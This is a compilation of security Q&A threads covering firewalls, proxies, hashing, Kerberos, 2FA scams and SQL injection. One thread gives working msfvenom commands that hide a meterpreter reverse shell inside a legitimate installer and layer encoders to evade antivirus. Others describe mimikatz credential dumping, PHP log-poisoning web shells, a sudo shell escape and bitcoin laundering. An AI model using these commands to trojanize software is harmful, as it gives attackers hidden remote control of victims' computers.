Or you can investigate the rules on your Firewall to determine them. Understand that firewall turned off means no ports are filtered, and no explicit rule "deny all"
also means that ports not explicitly closed will not be filtered.

  Also if I close a specific port on windows 10 do I have to close the
  outbound and inbound port?

Inbound ports means that something can be relayed to your PC through that port. Imagine a fence with 65535 pickets. Each number represents a single picket. Open inbound port with number 80 for example, means that the picket number 80 is not present in the fence. On the technical note, port 80 are reserved by ICANN for web servers on http protocol, so having it open on an average user PC means something fishy.

Outbound ports means that your PC will connect to another PC\Server\Application on PC\Server\Whatever via that port. It will not connect by creating a packet from port 80 to create to port 80 on a target, but rather send the packets to the open port 80 on the target.

Originating packets use dynamic ports to connect to outbound ports. But that is too deep already.


Security of HTTP proxies If POST requests are being made to a website via a browser using an HTTP proxy from sslproxies.org, is it possible to trace the origin of those AJAX requests without having access to the proxy being used? Assume the role of the webmaster here, and assume the proxy used is either 'Anonymous or Elite Proxy' as marked on sslproxies.org

As a security project I'm looking at seeing if it's possible for me, the webmaster, to trace POST requests made through an HTTP proxy. By trace I mean identify the original senders IP or specific information about them that I can get from their browser.

Unfortunately if it is a properly configured transparent proxy, getting the originating IP address is not *possible. The best you can hope for is a badly configured transparent proxy.

You might want to read this post for more info on why.

*If you act ethically. You have to consider two things here:
Firstly, the ethical issue of trying to locate a user that obviously wants to remain anonymous. Secondly, the fact that an transparent proxy is designed to do exactly that, protect the identities of the users behind it, and to bypass that would mean that you would need to serve some malicious content (possibly script) to the client that can exploit a vulnerability on the client system to bypass the proxy or identify the user otherwise. This is obviously completely unethical and possibly illegal depending on the presiding laws and thus I suppose not suited for your experiment.


Are hash functions "strongest link"? It seems to me that if you were to use multiple hash functions, the "strongest link" would hold up the others. For example:

HelloWorld

--- md5 -->

68e109f0f40ca72a15e05cc22786f8e6

--- sha256 -->

bdbf17386fbfd51980abdf024e236f5b4d9c2431b3102c0358db4afe2f188db6

MD5 is considered insecure, but since they still have to break the SHA256, the strongest of every hash function you chain together should retain all of it's security, right?

(This is assuming the hashtext is long and complex, salts, etc. I'm talking strictly about an algorithm being broken, not brute force.)

Update:
After consulting with Thomas Pornin, I'm chainging my answer to "there's no good way to do this". See the comments for this answer for details.
Also see: On the Strength of the Concatenated Hash
Combiner when All the Hash Functions are Weak.

Instead of hashing the output of the previous hash, you hash that output in addition to whatever you were hashing before:
So SHA256( MD5(message) ) gives you the worst of both worlds
in certain attacks.
But SHA256(message + MD5(message) ) gives you the best of both worlds, since  both hashes need to be broken independently.
Note for many usage cases, your message should include salt.


Evaluating security of 3rd party I am researching about the 3rd party tools to use in a project, and I haven't found any conclusive evidence about this:

Is it better* to include 3rd party scripts with a <script> tag or to host them locally? Where better means it will likely affect to a smaller number of users.

I was able to find the best security practices for each case, but not information about which one is a better practice. These are the main pros/cons as a difference that I could find for an external script:

The 3rd party hacked: all their clients are vulnerable now.
Automatic security update: all the clients are secure now.

Setting up the integrity tag seems a lot more similar to self-hosting as you are locked to a specific version. Also, if the host is down then their script is down. So from a security point of view, an external script with a checksum seems to be equally secure, with more downtime.

So it really seems to boil down to how much you trust the 3rd party updates to be benign or malicious AND what is your company response time.

My thinking is, if you have a 24/7 security response team, actively monitor all your 3rd parties AND do a security assessment of any new code then it might make sense to actually host it yourself to reduce the risk of them being hacked (while increasing response time). Otherwise, it makes more sense to let the company host it, since their response time will be much lower than the combination of their response time + the company response time.

So, what is the industry standard? Is there any official recommendation?

Edit: I did find some alarmist blog posts urging not to use 3rd party <script> tags, but all of them invariably failed to acknowledge the security benefit of having your script hosted by its company creator.

Edit2: This is a nice write-up that indirectly touches on the advantages/disadvantages of 3rd party scripts: "If you are using 3rd party scripts make sure to examine them and their postMessage implementation" && "I reached out to Matt Abrams (AddThis CTO) who made sure a fix was quickly implemented and pushed to end users".

If the script is hosted by a third party

You have no control over the script. This includes both content and availability.
The script can be changed at any time, in a good way (security update), in a bad way (site hacked) or in an inconvenient way (bug fix which unfortunately breaks your use case). But, if you want always the latest version of the script you could also simply have a cronjob running which copies it to your own site and thus keep it available even if the third party goes down. And you could keep versions of the script in order to audit what changes they made and how these could impact your site and your users.
You fully rely on the security of the third party. This includes that you rely on their site not being hacked, their DNS provider not being hacked and that they never fail to renew their domain name (since others could hijack it otherwise). This also means that you have trust in their employees that they don't change your script willingly (like adding a back door) or break things accidentally.
By looking at the Referer HTTP header of the requests the third party can track where the script is embedded. These URL's might also contain sensitive information in the URL itself. Also the third party could track your users using cookies (obvious) or caching headers like Etag (less obvious since caching is probably expected).
If the script is not served from your own site another TCP connection has to be created by the browser to get the script and maybe another TLS session too (in case of https). The existing connection to your site cannot be re-used for this. This means embedded third party script can actually reduce the performance of your site, or at least the performance is outside of your control.

In summary: I see mainly problems when embedding third party scripts. You loose control, security, privacy and maybe even performance. Only if you can fully (i.e. 100%, not only 99%) trust the third party to not willingly or unwillingly harm you, you could think of embedding the scripts directly from the third party.  Especially in case your own site is slow or bandwidth restricted compared to the third party hosting you might get some performance gain if the script is large.


The effect of hidden or spoofed service banners on vulnerability scanners The linked question relates to error pages, although the same information is often available in HTTP headers, if I follow best practise of hiding service banners:

Is displaying what server I am running on the error pages a security risk?

would I be hindering the effectiveness of vulnerability scanners such as Nessus or OpenVAS? For example say I am running the fictitious web server Foobar v1.1 and there is a vulnerability that affects versions of Foobar < v2.0.

If the NVT works by checking the service banner, hiding the banner would mean that the vulnerability would not be picked up by any automated network vulnerability tests.

What is the general recommendation here? Would it be better for the banner to be hidden and then this vulnerability would be picked up during a manual pen test rather than an automated scan? Would penetration test tools such as Metasploit Pro automatically try to exploit it, even if the banner was missing or spoofed (say somebody changed it to say Foobar v2.0 when it was in fact v1.1)?

Note that I am not saying that hiding or spoofing the banner would be a good way to handle security flaws, however I'm concerned whether scanners would miss vulnerabilities in similar situations.

The first thing to note here is that banner grabbing is an error prone way to check for vulnerabilities in a lot of cases (as OS vendors backport security fixes without updating version numbers).  Nessus as an example will try and work around that, but it's not foolproof.

The best way to address checking your security with scanners is to get them to do credentialed checking.  It's a lot more accurate and comprehensive than uncredentialed checking.  It doesn't take the place of a proper manual pen. test as there's things the scanners don't find, but still worth doing.

As to whether you should hide banners, I'm going to disagree with @limbenjamin and say that removing banners is generally a good idea as long as it's not really hard to do.  The reason for this is that it makes an attacker work harder to find out what software you're running, which makes more "noise" which can be detected by detective systems such as IDS (see also this question)


Why do companies not give root access to employees on their desktop machines? Why do companies typically not give their employees root access to their desktop machines that are only used by a single employee?

If what I can do on my machine poses a threat to the rest of the network, isn't a security flaw in itself? Why would the rights I have on my own machine affect what I can do to others on the network?

Isn't the point of Unix user management to protect files of user A on machine X from access by user B on machine X?

If it's about protecting the user from himself (say, from installing something with root access that will wipe out the hard drive): Since I am working without root access, all my files are owned by myself; hence, if I am fooled and run an evil script without root access and it wipes all only the files owned by myself, it is just as bad as if I had given it root access and it wiped the entire hard drive.

Security administrators are responsible for your machine and what happens on your machine. This responsibility violates the basic security model for a single-user Unix machine because the admin (an absent party) is root on your machine, you are not. Unix isn't really set up for this model.

Admins need to be able to install security controls on your machine in order to protect the company, not just the data and the network and the other nodes. If the local user had root access then admins are no longer in control over those controls. That's the basic premise.

Yes, there are tons of reasons why root is needed to do bad things or to turn the machine into a malicious node and all those are good reasons not to provide root access. And yes, there are lots of ways around those limitations and lots of ways that the local user could do bad things. But ultimately, the local user and the Risk Owner cannot be competing for control or responsibility over the machine.


Getting remote access via path traversal for Java webapps I've found path traversal for a web application and I can get the contents of all files the webserver user have read access to. I want to further exploit this.

With PHP websites I'm sometimes able to get remote access the following way:

I get reponse HTML pages with parts of it being the contents of the requested file
I manipulate my requests so that executable PHP code gets written to the webserver logfiles.
I try to GET logfile contents thus executing my PHP code.

This is only possible if the remote file contents are shown via include or require or stupidly eval'd. In most cases it's something like file_get_contents and echo, which does not execute the code. But there were cases where I succeeded doing so, and I got myself a little shell that uses system to execute anything passed as a GET parameter with the privileges of the webserver user.

My question is, is there a similar vulnerability for webapps written in Java? Is it common? How do I exploit it?

It is impossible to run executables with java if the code doesn't contain a line like :

Runtime.getRuntime().exec(variableProvidedByUser);

Now indirect exploitation of an upload vulnerability (given that the file type verification fails) is still possible if you know that the file is executed by a process other than java.

Keep in mind that there are applications that just BLOB files in databases so that executing the file isn't possible if the application doesn't explicitly do so or that java just reads using a byteStreamReader which will represent an array of bytes.

Another thing to keep in mind is that java runs in a virtual machine (JVM) and that java is a compiled language and that you cannot access user space in an arbitrary way nor simply uploading scripts and executing them.


Shell escaping vs. /etc/sudoers. What's the difference? I am trying to grasp some basic principles of security in Linux (I used Centos 8.0 and Kali 2020 in the example below).
I found that providing you have an account in a particular system that is in the /et/sudoers and its entry is ALL=(ALL) you can execute every command with sudo.
Having said that, we can use less with sudo to list say some log file in /var/log
sudo less /var/log/<some log file here>

once listed we might type !sh inside the less which will give us root console. To the best of my knowledge, this is a post-exploitation technique known as shell escaping.
My question is what's the point of escaping the shell since my account already has capability to run commands with sudo, I mean isn't this the same. Does me receiving this root shell inside the less command give me any more privileges that I can use to further compromise a system? And if it does, can we say in the /etc/sudoers that my account can execute all commands with it except less for instance?

If one already has all privileges anyway then using techniques for privilege escalation do not make much sense, except maybe for hiding what you were doing from the logs. Escaping to the shell from inside a command is usually used if one was given only limited privileges, like sudo being restricted to edit a specific file or similar.


Is a Kerberos ticket valid with only one-way external trust between domains? The situation is that I have two domains (Domain A and Domain B) that live on separate networks. I need to allow users in B to be authenticated with integrated windows authentication (IWA) when they hit a web app deployed on an IIS server in A. Currently, IIS returns a 401 when users in B try to hit the URL.

Possible Solution: Establish a trust between A and B so that users in B can be authenticated against A. B, however, is highly secured and will only allow A to establish one-way outgoing trust (A trusts B). So the question here is:

Is the user's TGT from B valid on my IIS server in A, or will the IIS server still have to reach out to the the ActiveDirectory/domain controller in B (requiring two-way trust, presumably)?

from what i gather the IIS server is part of domain A, if so you can add a one way trust between A->B, this will cause all global/universal users in domain B to be trusted by domain A, allowing you to give access (on the IIS server) to domain B users.

for SSO/IWA you need that the IIS server be considered as part of the intranet zone by hosts in B, this will require either to have the same DNS suffix as domain A on hosts in domain B, on the same subnet or a manual addition to the intranet zone for that specific site.

a few points that i must clarify for you that will make this answer make more sense and give some insights into security boundaries in AD:

The TGT is not sent to the IIS server, only a TGS.
unless you have PAC validation enabled the IIS server will never contact the DC as part of the authentication sequence.
a trust is not a good security boundary (there are other mechanisms to limit access between domains, such as network segmentation and firewalling)
this is a great explanation about how kerberos works


Why are ransomware attackers not tracked down via bitcoin transactions? A bitcoin transaction has details of the incoming address as well as the outgoing address (where the bitcoins are being transferred), so my question is why that outgoing address has not done anything in tracking down ransomware attackers, like the WannaCry authors?

There is a chance that once the bitcoins have been converted into ‘real money’ or ‘real assets’ the ledger could leak information on the owners of those bit coins. But even then tracking and attribution can be very complex, but in answer to your question the reason in this case is probably that the attacker(s) haven’t ‘cashed’ them in yet.

Depending on who carried out the attack they may never do anything with the bitcoin they have as their attack may not have been financially motivated.

There are ways to launder bitcoins using services such as Bitlaundry, Bitmix or Bitcoinlaundry.

These laundry services work as follows: (credit to the description below)

Imagine that Alice wishes to send bitcoins to Bob.
Bob, sadly, is not well liked. Alice would rather not have anyone know that she sent Bob bitcoins.
So, Alice puts Bob's address in the form at BitLaundry.
Alice gets a one-time-use address from BitLaundry.
Alice sends the money to that address.
BitLaundry sends money out to recipients every 30 minutes.
(But, it doesn't send out Alice's money immediately, that might be suspicious..)
So, a random number of 30 minute segments later, BitLaundry sends the money out to Bob.
BitLaundry then deletes the database link between the one-time-use address and Bob.
Alice has sent money to BitLaundry, but people do this all the time. She's one of many.
BitLaundry has sent money to Bob, but BitLaundry has sent money out to a whole bunch of other people as well.
Alice and Bob are much less linked than they would have been otherwise.


Countermeasures for a family-member attack on a password reset procedure Given an account reset procedures, there are usually some recovery questions, and in better implementations a link will be sent to confirm the password change via email or SMS. Therefore, the attacker needs both information and access to use the password reset mechanism for an account takeover.

These controls are often very useful against some random attacker on the Internet, but I want to focus on when a family member is the attacker (e.g., parent trying to get onto child's account, boyfriend/girlfriend trying to get access to partner's account, etc.). In this scenario, the person is very likely to know the answer to any personal challenge questions (mother's maiden name, first car, third grade teacher) and is also likely to have physical access to the victim's phone or PC. Let's also assume that the victim is not a security minded person, so they leave their email open in a tab and does not have a screensaver password and their phone is protected by a pin which is their birthday.

As a security guy, I always put in gibberish for  answers to security questions and store the answers with encryption, but since the victim doesn't really want to deal with a password manager, doesn't know what encryption is, etc. we cannot rely on the user taking countermeasures to protect him/herself since the victim may legitimately need to use these answers to recover his/her account.

Knowing that there is the physical security issue and that information is not well known, what countermeasures or controls can the service provider implement to help protect the user from an attacker who is a family member/friend with physical access.

Answers should be on the service provider side, since the goal is to protect an unsophisticated end user.

The two main methods that I have considered for this are:

1. User Defined Questions

Most of the default questions I see on sites seem to be the same or very similar, easily researchable through social media, etc. I would generally think that allowing users to write their own security questions would be better with some guidance. e.g., "Come up with two questions, make them things that no one else would know, not even your mother". User's could still end up coming up with bad questions, but at least some percentage of users will be crafty and it provides an overall improvement across the population of users

2. Private Site Action Verification

While a lot of activity on a social media website may be public, even on such sites there is often some activity a user does which is private or known only to the user. There is no reason for the user to share this information with anyone and it is site specific. For example, on a banking website you could ask them to verify the amount paid on a utility bill. Even giving them the choice of three values and a "none of the above" provides some degree of protection. Of course, in that particular case, the bill may come in the mail or may be a shared expense. A potentially better question may be "Who was the last person you sent a private message to?" since this is by definition not public, but may be guessable by a family member who knows who your best friends are.


Error when using metasploit mimikatz module I'm working on dumping plaintext passwords from a compromised machine (it's my computer, research, blah blah blah)

Anyways, I'm getting a weird error when running the metasploit module in a meterpreter session. I can retrieve the usernames of previously logged in users, but for every password I just get this error:

mod_process::getVeryBasicModulesListForProcess : (0x0000012b) Only part of a ReadProcessMemory or WriteProcessMemory request was completed. n.a. (msv1_0 KO)

Any ideas? I'm running as the SYSTEM user.

UPDATE:

After looking into this further, I tried dumping passwords with mimikatz by injecting mimikatz itself into memory with a neat little feature of metasploit. So for some reason, I can use mimikatz itself via memory injection through a meterpreter shell and successfully dump the passwords, but the built-in mimikatz module is still throwing partial read errors.

Was running into this exact issue, and for me it was related to the process and architecture I was injecting into (using x32 instead of x64). After migrating to an x64 process, and then loading mimikatz, I was able to dump credentials as expected.


How does SameSite cookie header prevent tracking? I understand how SameSite cookie header prevents CSRF. But how does it prevent tracking by 3rd party sites, since they could set SameSite=Lax or None, and the browser will still send them:
https://web.dev/samesite-cookies-explained

Maybe it doesn't prevent tracking, but most articles describing it also mention tracking among the problems, before describing the SameSite solution:

  Your promo_shown cookie should only be sent in a first-party context, whereas a session cookie for a widget meant to be embedded on other sites is intentionally there for providing the signed-in state in a third-party context.

Agreed, but what prevents 3rd party sites setting SameSite=None on promo_shown cookie?

The proposals in this document do not in themselves mitigate the
     privacy risks described in Section 7.1 of [RFC6265bis].  Entities who
     wish to use cookies to track user activity from cross-site contexts
     can continue to do so by setting cookies that declare themselves as
     "SameSite=None".

  Requiring that explicit declaration, however, gives user agents the
     ability to easily distinguish cookies used for stateful cross-site
     requests from those with narrower scope.  After the change proposed
     in Section 3.1, only those cookies that make an explicit
     "SameSite=None" declaration can be directly used for cross-site
     tracking.  It may make sense for user agents to use that information
     to give users different controls for these cookies, or to apply
     different policies for expiration and delivery.

  -- https://tools.ietf.org/html/draft-west-cookie-incrementalism-00

"This change will enable users to clear all such cookies while leaving single domain cookies unaffected, preserving user logins and settings. It will also enable browsers to provide clear information about which sites are setting these cookies, so users can make informed choices about how their data is used." -- Google Chrome.

This Google Chrome interpretation suggests we leave all the responsibility with users to perform these actions manually.  However, that is not the only possibility.  Other browsers could chose to automatically expire "SameSite=None" cookies after a certain length of time.  The exact behaviour could be configurable, or the browser could allow it to be customized by browser extensions.

However IMO they (Google, Inc. are prominent as the spec authors) have left a blind spot in this draft.  They claim to assume malice

  Blunt approaches to cookie blocking have been tried, and in response we have seen some user-tracking efforts move underground, employing harder-to-detect methods that subvert cookie controls [...] This is why Chrome plans to more aggressively restrict fingerprinting across the web.

On the other hand, this initial short draft doesn't discuss what happens if trackers correlate "SameSite=None" cookies with "SameSite=Strict" or "SameSite=Lax" cookies.

Changing to not deliver "SameSite=None" cookies when on the same site might resolve this.  However, I am not sure that helps when we still have "SameSite=Lax" to consider.  I expect this would also be a constraint on backwards compatibility, perhaps an impossibly restrictive one.

Also, the draft mentions "expiration".  Perhaps I am too ignorant or naive, but I would appreciate a reminder that trackers can renew cookies on every visit.  If we are really taking an adversarial approach, I would think we need to use a different mechanism.  I.e.  periodically purge tracking cookies, regardless of when the cookie was last re-set.


Expiration of superadmin.p12 certificate I have a super admin certificate which expired two days ago. When I try to click on the Administration tab in my EJBCA instance to renew this certificate, I am getting an error like certificate has expired. Can you guys help me out on how to renew the certificate without the GUI? Is this the problem impacting the Administration tab in my EJBCA instance? After renewing the certificate, does these have any impact on ROOT CA and or any other end entities?

From the directory where you've installed EJBCA:
./ejbca.sh ra setuserstatus superadmin 10
./ejbca.sh ra setclearpwd superadmin <MY PASSWD>
./ejbca.sh batch

where <MY PASSWD> is your new password.


Mobile authentication I'm currently working on an Android app in which I want to authenticate someone against an REST API. I want to do this as secure as is (cost-)effective/possible/userfriendly.

I've been looking around and found that 2FA (two factor authentication) seems the most viable solution (after initiating the sign up process I'll send a POST to the REST API to store device data and give the device a token that is generated from the device information and then send an SMS with a different token to the phone which the user then has to enter (likely TOTP)). SSL is used whilst communicating with the remote API.

My question to you is, is it worth the effort to look into biometrics? There are just so many possiblities to do this:

Voice
Gestures
Finger prints (seems very unsafe. Mythbusters 2006 episode)
A picture of the user (since a 'selfie' is a thing, but has to be monitored if no proper matching software is found).
and I'm probably forgetting a few more now...

Thanks for the help.

First, what you are initially describing is not two factor authentication.  It is two instances of "what you have".  The phone contains a token, so you have to have the phone with the token.  The phone also receives SMS messages, so you have to have the phone.  Not only is it two things you must have (TFA must be two different factors), but it is the same thing that they must have, rendering it completely useless to do both.

Second, biometrics is not likely practical.  You would need a common client that would be available on all the devices and designing such an interface would be technically complicated (most likely requiring a third party software).  Why not just use a password?  That's something the user knows and would be another factor.  If you have two factors, it is generally not considered worth it to bother with a third unless it is trivial to do so, and in this case, it is not.


Can an SQL injection attack happen if the input is only allowed to be hexadecimal characters? I've set up a login system that works more or less like this:

1) The user enters the data

2) The data is hashed locally using SHA256 (To reduce the risk of someone stealing the password through a man in the middle attack and using it somewhere else).

3) The hashes are sent over a secure connection to the server

4) Once they arrive, they are immediately checked to make sure they don't contain invalid characters. This is the function:

function IsHexadecimal($pass){
    $allowedChars = '0123456789abcdef';
    $passLenght = strlen($pass);
    for($i = (int)0; $i < $passLenght; $i++){
        if(strpos($allowedChars, $pass[$i]) == false && $allowedChars[0] != $pass[$i]){
            return false;
        }
    }

    return true;
}

5) If they are valid hexadecimal characters, the authentication process goes on: the hashes are combined with a randomly generated 64-char salt assigned to that particular user, then hashed again using pbkdf2. Lastly, this new hash is compared against the one store in the database.

Since I'm following the default method to protect against SQL injection attacks - escaping the input -  I wanted to ask if such an attack could be carried out against the system I've set up.

No, injection with just hexadecimal characters is not possible.

Another (better?) way to prevent SQL injection is to use prepared statements:

$stmt = $mysqli->prepare("SELECT * FROM User WHERE Password=?");
$stmt->bind_param("s", $password);
$stmt->execute();

Because you leave it to the database engine to correctly put your data in the SQL query, SQL injection is not possible. This way you don't have to worry about whether you have escaped all your data correctly.


Obtaining an SSL certificate for a local web application I have a web application that communicates with Amazon's Alexa API and is hosted locally on a computer. The application must use https for the communication and is accessed by using the IP address. The problem is that whenever I access the application I get the "The connection is not private".

I've looked into getting a certificate from places like LetsEncrypt, but they require that a domain is present, which in my case I only have a local IP address.

Is there a way to obtain a certificate for this application so that there's no error? I wwill also have to distribute this application to clients, so the certificate must be either portable or easily renewable.

Is there a way to obtain a certificate for this application so that there's no error?

From a public CA you can only get certificates which are for public sites, i.e. neither internal domains nor internal IP addresses. And usually you don't get certificates for public IP addresses too.

  I will also have to distribute this application to clients, so the certificate must be either portable or easily renewable.

What you are trying to do is a very bad idea since this means that all installations share the same certificate and private key. An attacker having access to one installation can thus impersonate and silently man in the middle other installations.

I have no idea of your exact use case. But some use cases of shipping a https enabled system to customers is to use self-signed certificates (each system gets a different one) where the user has to add an exception to the browser and/or the ability for the customer to upload its own certificates.


What is the risk of sharing the client_secret.json in a public repo? I have a python script which writes data into a public google sheets file and for using the google sheets API I need to have a user authorize my script. I want to share the script with others and thus I'm considering sharing the client_secret.json as well, but I'm struggling at understanding the security-risks involved in this.

As far as I understand OAuth2, by providing client_secret.json my script authenticates itself and then a user authorizes the script to write data on the user's behalf, right?

Thus, am I correct, that the worst thing which could happen when I would share the client_secret.json, is that someone would exploit my service to write data into sheets (only his/her own or into public ones) by using my script's quota?

As user @thehowch stated and as I understand the whole procedure, the very main risk of sharing a client_secret.json is that of opening an attack vector for phishing attacks, since someone could just copy the client_secret and then present him/herself as a trustworthy authority where users would give their authorizations to it and thus would open their google drive to the attacker.

Also quota-usage of Google's API would be registered on the google project account which possesses the client_secret. Thus an attacker could just block our usage by exhausting the quota. Of course this risk is nothing compared to the phishing attack. Just as a side-node for the sake of completeness.


"This used to be my phone number" I added a new phone line and someone called claiming to be the previous owner of the phone number.  He requested that I forward information a text message (He wanted me to forward 2 Factor Authentication information that would be sent to my new phone number via SMS).  Naturally, I refused the request.  I do not think that they are too happy with the refusal.

Are there are any risks I should be aware of or precautions that I should take, given that there is some 'funny business' afoot?

CLARIFICATION: The caller does not know my name or any of my accounts. If the caller is a bad actor, then he is compromising someone else's account because the phone number he called was recently issued to me and I do not give it out to anyone, because I use a call forwarding service.  Said phone number has not been given out to anyone

It's a known scam attempt. The caller probably compromised one of your accounts, and got stopped by the 2FA token sent to your phone. If you send them the token, your account is fully compromised. Or, as Nic pointed very well, may be the account of someone else.

What you do?

First: don't send them any code or token. That will prevent them for compromising your account.

Second: If your provider offers any alternatives, replace SMS as 2FA on every account you have with a more secure solution, like a hardware or software TOTP token. SMS is too insecure for that. 1 2 3 4

Third: change your passwords. If you don't have a password manager keeping different accounts for each service, install and setup one now. It will take time, but takes way less time than to recover from any mischief an attacker can do with your online services. While you are changing passwords and storing them on your password manager, switch the 2FA from SMS to TOTP to have a safer 2FA.

Don't trust your brain to pick passwords. They are guessable, and a computer can try billions of combinations per second. Any password manager, no matter how primitive, is better than us at creating password.


Forgot OpenPGP key's passphrase, can I recover key or files somehow? I had two OpenPGP key files on two separate TAILS OS USB flash drives, but the most recent one fails to boot up. Then I discovered that I don't remember the old keys passphrase on the first USB flash drive.

I still can export the private key and view it, but without the passphrase it's worthless. I can also still mount the USB flash drive that fails to boot and access its files but I can't seem to open the folder where the keys are kept.

The short version

You won't be able to decrypt the files unless you can either brute-force the passphrase, or some future changes to the subject enable you to do so (new cryptographic findings on exploiting the used cryptography, more computing power, likely a combination of both).

The longer explanation

The private key is encrypted with the passphrase. The passphrase protection is to meant to be and implemented as an actual protection -- without the passphrase, you will not be able to decrypt and use the private key. The same applies to the encrypted files.

Without the passphrase, you're in the position of an arbitrary attacker getting hold of the encrypted copy of the key and the encrypted files. To access the files, you have following chances:

Brute-forcing generally requires vast computational power. You could brute-forcee

the passphrase (for a reasonable passphrase, this will be out of scope, especially for a home user without access to a whole data center) -- but might be a thing to try if you know parts of the passphrase and can somehow prune the space of possible passphrases
the private key (for RSA 1024 and larger out of scope for the time, might change in future if computing power heavily increases)
the session key of each file (considering the computational effort, even worse)

Exploiting cryptographic weaknesses that might arise in the future.


Encode an executable file multiple time using MSF venom I am trying multiple encode on same the executable file, but confused with the syntax.

The Problem:

To encode any executable file we can use the syntax:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XX.X
LPORT=XXXX -x /location/of/thefile/filename.exe -k -e x86/shikata_ga_nai -i 10 -f exe > encoded.exe

Now, I want to encode some other executable file/same file; multiple time using different encoders.
Syntax which I am using :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=XXX.XXX.XX.X LPORT=XX -x  /location/of/thefile/filename.exe -k -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -a x86 --platform windows -e x86/countdown -i 8 -f raw | msfvenom -a x86 --platform windows -e x86/bloxor -i 9 -f exe -o multiencoded.exe

I found this thread then implemented the above syntax. But the output file it is generating does not have the included executable file. As size of output from first syntax is 19MB and from second syntax it is 76kB.

So, my question is how can I implement multiple encode to the same executable file.

As we know encoding does not help too much in evading AV but I got some interesting result after trying few things and if we know the AV name on the victim machine we can try our luck with this method.

Method one :

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.163 LPORT=12345 -x /root/Downloads/SandboxieInstall.exe -k -e x86/shikata_ga_nai -i 10 -f exe > encodedsandbox.exe

I used Sandboxie for this method and it converted 9MB file to 17.9MB file. Then uploaded it on VirusTotal.

From the screenshot you can see AV like Avast, eScan, ESET were able to scan it as a trojan. However, only few AV did not detect it as shown below.

Now comes the second method which I asked in the question i.e "Encode an executable file multiple time using MSF venom".Finally, I was able to implement it and found more exciting result.

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.43.163 LPORT=12345 -e x86/shikata_ga_nai -i 10 -f raw > eoncode.bin

msfvenom -p - -x /root/Downloads/SandboxieInstall.exe -k -f exe -a x86 --platform windows -e x86/bloxor -i 2 > sanbox.exe < eoncode.bin

The syntax is a bit different from what I mentioned above in the question but it worked. The final file which it generated was of 17.9MB only same as the previous file. The new file generated will act as same as original software due to "-k" flag and result from VirusTotal was same as previous but I was successful in what I was trying to implement. If we remove "-k" flag from the last syntax it will generate the exe file of 9MB and icon will be same as original software i.e Sandboxie but it will loose it's original functionality (after opening the file nothing will happen as we removed "-k" flag,since it has same size as original file ps icon also looks the same people may run it). But when I uploaded it on VirusTotal found some interesting result as shown below.

Which is just opposite of above result.


GPG: Change expected card number I have switched from a YubiKey 4 to a YubiKey 5. Both have the same GPG keys stored. After storing the key on the first YubiKey, I fetched my public key so GPG knows where to look for the private key. Now I cannot fetch the key from the new YubiKey because the public key is already there.

How can I configure GPG so that it will find my private key on the new YubiKey? And, if it's possible, can both YubiKeys configured at the same time so I can use them both?

I have found a working solution with the help of the other answers.

I removed the "secret keys" (the link to the old YubiKey) with gpg --delete-secret-keys <ID>
and then linked GPG to my new YubiKey with gpg --card-status while only the new one is attached.
But I think this solution is only working as expected if no secret subkey is stored at the maschine / if all subkeys are managed by the YubiKey.


Assigning static IP address other than 127.0.0.0/8 to loopback interface We have the following configuration of the /etc/network/interfaces file which was setup by somebody else on this system. It has worked well by allowing other systems on LAN (and the internet) to connect to an nginx/apache run server on that IP regardless of interface they are connecting through (i.e. en or wl).
auto lo
iface lo inet loopback
     post-up /sbin/ip addr add 192.168.1.200/32 dev lo

The firewall has port forwarding to this IP (192.168.1.200) for ports 40 and 443.
The servers is on the small office LAN which handles sensitive data and a couple of workstations. Our key risks are:

Motivated hacker compromising sensitive data stored on a separate Samba server on the same LAN;
Ransomware attacks.

QUESTION: is this IP binding would be less safe in comparison to using a regular static IP address assignment to a single adapter (rather than to localhost), or they are indistinguishable? Any other advice regarding the use of this approach - bad/good/neutral?

I see a number of answers here about the use of binding IP addresses to loopback interfaces. To be clear, this is not uncommon. It's actually something that is done quite often, for example to create a virtual IP address floating that can move (automatically or manually) from one machine to another with a high availability protocol. The loopback interface is always available on any device, which makes it a good interface to bind the address to.
Also, binding IP addresses to loopback interfaces is often used when a device has multiple network connections, and you don't care about which interface is used to reach the device, you just want to communicate with the specific device regardless of the way it's reached. This is used for example when a machine is using a routing protocol like OSPF and BGP and does dynamic routing.
Now back to your question: is this a good thing security wise? I don't think that in the situation you're describing this offers any real benefit to just adding the IP address to a physical interface and adding proper firewall rules there. In fact, you could argue that the added complexity increases the chances of someone forgetting to apply the rules correctly. Also, if multiple interfaces are available on the device, you need to apply the firewall filters on all interfaces. Personally, I wouldn't use a setup like this if your only goal would be to increase security. Everything you're doing there can be done with a nearly identical firewall filter on the physical interface.


Does Skype encrypt IP destination? Does Skype encrypt the IP destination (the IP of the people I talked to) in instant messaging?
Now Skype uses the cloud, does my ISP know the IP destination or is my message sent to the cloud?

Since some years, all of the Skype communication happens through their servers and not directly.

There is no IP to hide (encrypt) because your Skype client doesn't know the IP of your pals.


How to determine the exploit to gain access to the Vulnerable servers? I have recently completed CEH exam and am planning to enroll myself for OSCP certification. I did research on penetration testing and read penetration testing: A hands-on introduction to hacking written by Georgia Weidman. But I am not able to understand one thing; how to determine the exploit to gain access to different machines?

For example to gain access to Windows XP machine there will be plenty of exploits and for Linux as well. So how to conclude that certain exploit can be used to gain access to the servers?

I am in learning phase of penetration testing. Any help would be really appreciated.

I am pretty sure your book will have discussed this as well. Penetration testing is more about gathered information than actually using tools and programs to get the job done. To a certain degree these steps are involved; gather information, analyse situation, prepare strategy, execute. Obviously the last is least important.

Gather information: Who and what is the target? What do we already know? Can we exclude systems, methods, tools? What do we need to gain more info? Who to contact?

Analyse situation: Do we notice strange patterns, files, responses? Do we have a clear image about the internals of the system? Are there obvious problems, weaknesses, exploits?

Prepare strategy: What is the best way to reach our goal with the information that we have? Can we prepare a plan for attack, and a backup plan? How to deal with unexpected situations? Who to contact?

Execute: Execute the plan.

Your book may have different steps, but they at least involve the information gathering part.


Are encrypted databases secure against all attacks? If I use a database encryption package for oracle like dbms_crypto, would this be vulnerable to any attacks? I know that it uses algorithms like 3DES, AES, etc. These are all thigns that you can use while using this package, and there are attacks against 3DES, and AES but they are relatively secure. Other than a system being compromised, and having keys stored on the system, and a malicious Database Admin, are there any other attacks that a DB that is encrypted using a package would be vulnerable to?

